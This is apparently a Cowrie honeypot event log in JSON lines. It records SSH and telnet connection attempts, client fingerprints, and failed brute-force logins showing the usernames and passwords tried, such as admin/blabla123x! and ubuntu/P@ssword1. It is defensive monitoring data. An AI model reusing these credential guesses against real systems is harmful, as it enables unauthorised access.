{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":59844,"dst_ip":"10.17.0.5","dst_port":23,"session":"c94dde18809b","protocol":"telnet","message":"New connection: 46.4.133.15:59844 (10.17.0.5:23) [session: c94dde18809b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:02.344721Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":33778,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cac2672960a","protocol":"telnet","message":"New connection: 46.4.133.15:33778 (10.17.0.5:23) [session: 3cac2672960a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:03.015013Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":54160,"dst_ip":"159.203.135.109","dst_port":22,"session":"f00af64a0132","protocol":"ssh","message":"New connection: 103.172.20.218:54160 (159.203.135.109:22) [session: f00af64a0132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:11.474209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:11.479397Z","src_ip":"103.172.20.218","session":"f00af64a0132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:11.705631Z","src_ip":"103.172.20.218","session":"f00af64a0132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":37134,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c79efba939e","protocol":"telnet","message":"New connection: 46.4.133.15:37134 (10.17.0.5:23) [session: 3c79efba939e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:12.526523Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"hello","message":"login attempt [test/hello] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:12.645057Z","src_ip":"103.172.20.218","session":"f00af64a0132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:13.875760Z","src_ip":"103.172.20.218","session":"f00af64a0132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.974562883377075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:28.950016Z","src_ip":"46.4.133.15","session":"6d242a1fcb5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61419939994812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:32.958786Z","src_ip":"46.4.133.15","session":"c94dde18809b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.116517543792725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:34.131418Z","src_ip":"46.4.133.15","session":"3cac2672960a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34276,"dst_ip":"159.203.135.109","dst_port":22,"session":"50f5692edb18","protocol":"ssh","message":"New connection: 159.203.92.129:34276 (159.203.135.109:22) [session: 50f5692edb18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:38.913033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:38.920999Z","src_ip":"159.203.92.129","session":"50f5692edb18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:38.925725Z","src_ip":"159.203.92.129","session":"50f5692edb18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"blabla123x!","message":"login attempt [admin/blabla123x!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:38.936606Z","src_ip":"159.203.92.129","session":"50f5692edb18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:39.950293Z","src_ip":"159.203.92.129","session":"50f5692edb18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.420986890792847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:38:42.947379Z","src_ip":"46.4.133.15","session":"3c79efba939e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":40590,"dst_ip":"159.203.135.109","dst_port":22,"session":"645106f5e053","protocol":"ssh","message":"New connection: 103.172.20.218:40590 (159.203.135.109:22) [session: 645106f5e053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:39:08.433038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:39:08.437620Z","src_ip":"103.172.20.218","session":"645106f5e053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:39:08.667084Z","src_ip":"103.172.20.218","session":"645106f5e053","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssword1","message":"login attempt [ubuntu/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:39:09.616270Z","src_ip":"103.172.20.218","session":"645106f5e053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:39:10.848442Z","src_ip":"103.172.20.218","session":"645106f5e053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49268,"dst_ip":"159.203.135.109","dst_port":22,"session":"5895f77deb3f","protocol":"ssh","message":"New connection: 159.203.92.129:49268 (159.203.135.109:22) [session: 5895f77deb3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:39:20.620761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:39:20.628827Z","src_ip":"159.203.92.129","session":"5895f77deb3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:39:20.633645Z","src_ip":"159.203.92.129","session":"5895f77deb3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"bluemedix@123","message":"login attempt [admin/bluemedix@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:39:20.647401Z","src_ip":"159.203.92.129","session":"5895f77deb3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:39:21.655419Z","src_ip":"159.203.92.129","session":"5895f77deb3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":39048,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f47af7ec4c5","protocol":"ssh","message":"New connection: 103.172.20.218:39048 (159.203.135.109:22) [session: 2f47af7ec4c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:02.271152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:02.281498Z","src_ip":"103.172.20.218","session":"2f47af7ec4c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:02.508396Z","src_ip":"103.172.20.218","session":"2f47af7ec4c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"12345678","message":"login attempt [developer/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:03.438906Z","src_ip":"103.172.20.218","session":"2f47af7ec4c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34374,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7970b2404e6","protocol":"ssh","message":"New connection: 159.203.92.129:34374 (159.203.135.109:22) [session: c7970b2404e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:04.281258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:04.500180Z","src_ip":"159.203.92.129","session":"c7970b2404e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:04.504502Z","src_ip":"159.203.92.129","session":"c7970b2404e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:04.675346Z","src_ip":"103.172.20.218","session":"2f47af7ec4c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"box1!@3056","message":"login attempt [admin/box1!@3056] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:05.259166Z","src_ip":"159.203.92.129","session":"c7970b2404e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:06.571343Z","src_ip":"159.203.92.129","session":"c7970b2404e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":36164,"dst_ip":"159.203.135.109","dst_port":23,"session":"71814a1d7399","protocol":"telnet","message":"New connection: 173.249.14.218:36164 (159.203.135.109:23) [session: 71814a1d7399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:33.708695Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":46660,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d91523d0263","protocol":"telnet","message":"New connection: 173.249.14.218:46660 (159.203.135.109:23) [session: 0d91523d0263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:38.541164Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":48766,"dst_ip":"159.203.135.109","dst_port":23,"session":"30b547231d8a","protocol":"telnet","message":"New connection: 173.249.14.218:48766 (159.203.135.109:23) [session: 30b547231d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:39.418586Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.14.218","src_port":57278,"dst_ip":"159.203.135.109","dst_port":23,"session":"28fe52bd61e6","protocol":"telnet","message":"New connection: 173.249.14.218:57278 (159.203.135.109:23) [session: 28fe52bd61e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:43.340114Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33282,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d74fc08bd52","protocol":"ssh","message":"New connection: 159.203.92.129:33282 (159.203.135.109:22) [session: 1d74fc08bd52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:49.154711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:40:49.162587Z","src_ip":"159.203.92.129","session":"1d74fc08bd52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","a